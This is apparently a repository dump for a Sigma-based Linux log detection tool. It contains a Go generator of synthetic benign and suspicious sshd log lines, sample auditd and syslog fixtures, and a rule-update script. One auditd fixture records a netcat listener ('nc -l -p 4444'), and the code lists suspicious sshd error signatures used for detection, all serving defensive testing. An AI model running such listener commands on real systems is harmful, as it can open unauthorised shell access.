func authBenign(rng *rand.Rand, t time.Time) entry {
host := pick(rng, hostnames)
pid := randPID(rng)
user := pick(rng, usernames)
ip := pick(rng, srcIPs)
port := 20000 + rng.Intn(45535)
type tmpl struct{ proc, msg string }
templates := []tmpl{
{fmt.Sprintf("sshd[%d]", pid),
fmt.Sprintf("Accepted %s for %s from %s port %d ssh2",
pick(rng, []string{"password", "publickey"}), user, ip, port)},
{fmt.Sprintf("sshd[%d]", pid),
fmt.Sprintf("Failed password for %s from %s port %d ssh2", user, ip, port)},
{fmt.Sprintf("sshd[%d]", pid),
fmt.Sprintf("Failed password for invalid user %s from %s port %d ssh2",
pick(rng, []string{"ftp", "test", "admin", "root", "pi"}), ip, port)},
{fmt.Sprintf("sshd[%d]", pid),
fmt.Sprintf("pam_unix(sshd:session): session %s for user %s by (uid=0)",
pick(rng, []string{"opened", "closed"}), user)},
{fmt.Sprintf("sshd[%d]", pid),
fmt.Sprintf("Disconnected from authenticating user %s %s port %d [preauth]", user, ip, port)},
{fmt.Sprintf("sshd[%d]", pid),
fmt.Sprintf("Connection closed by %s port %d", ip, port)},
}
chosen := templates[rng.Intn(len(templates))]
return entry{line: syslogLine(t, host, chosen.proc, chosen.msg)}
}
// sshd error messages that match lnx_sshd_susp_ssh.yml
var sshdSuspMessages = []string{
"unexpected internal error",
"unknown or unsupported key type",
"invalid certificate signing key",
"invalid elliptic curve value",
"incorrect signature",
"error in libcrypto",
"unexpected bytes remain after decoding",
"fatal: buffer_get_string: bad string",
"Local: crc32 compensation attack",
"bad client public DH value",
"Corrupted MAC on input",
}
func authSuspicious(rng *rand.Rand, t time.Time) entry {
host := pick(rng, hostnames)
pid := randPID(rng)
ip := pick(rng, srcIPs)
msg := pick(rng, sshdSuspMessages)
// Some messages naturally include source info, others are bare
if rng.Float64() > 0.5 {
msg = fmt.Sprintf("%s from %s port %d", msg, ip, 20000+rng.Intn(45535))
}
return entry{
line: syslogLine(t, host, fmt.Sprintf("sshd[%d]", pid), msg),
rule: "lnx_sshd_susp_ssh",
}
}
================================================
FILE: testdata/auditd.log
================================================
type=SYSCALL msg=audit(1364481363.243:24287): arch=c000003e syscall=2 success=no exit=-13 a0=7fffd19c5592 a1=0 a2=7fffd19c4b50 a3=a items=1 ppid=2686 pid=3538 auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=1 comm="cat" exe="/bin/cat" key="sshd_config"
type=CWD msg=audit(1364481363.243:24287): cwd="/home/user"
type=PATH msg=audit(1364481363.243:24287): item=0 name="/etc/ssh/sshd_config" inode=409248 dev=fd:00 mode=0100600 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL
type=EXECVE msg=audit(1364481400.000:24288): argc=4 a0="nc" a1="-l" a2="-p" a3="4444" exe="/bin/nc" pid=9876 auid=0
some random line that should be skipped
another non-type line
type=USER_AUTH msg=audit(1364481500.000:24289): pid=1234 uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct="root" exe="/usr/sbin/sshd" hostname=192.168.1.10 addr=192.168.1.10 terminal=ssh res=failed'
================================================
FILE: testdata/rsyslog.log
================================================
2023-03-01T10:00:01.000000+00:00 hostname sshd[1234]: Accepted password for user from 192.168.1.1 port 22 ssh2
2023-03-02T20:04:38.000000+00:00 fedora systemd[1]: iptables.service: Deactivated successfully.
2023-03-03T11:15:30.123456+00:00 server kernel: EXT4-fs error (device sda1)
================================================
FILE: testdata/syslog.log
================================================
Mar 1 10:00:01 hostname sshd[1234]: Accepted password for user from 192.168.1.1 port 22 ssh2
Mar 2 20:04:38 fedora systemd[1]: iptables.service: Deactivated successfully.
Mar 3 11:15:30 server kernel: EXT4-fs error (device sda1): ext4_validate_block_bitmap:376
Mar 4 09:00:00 host cron[5678]: (root) CMD (/usr/lib/update-notifier/apt-check)
================================================
FILE: update-rules.sh
================================================
#!/usr/bin/env sh
echo 'updating sigma rules started'
git clone https://github.com/SigmaHQ/sigma.git
rm -r ./rules/
mkdir ./rules/
mv ./sigma/rules/linux/ ./rules/
rm -r ./sigma/
echo 'updating sigma rules done'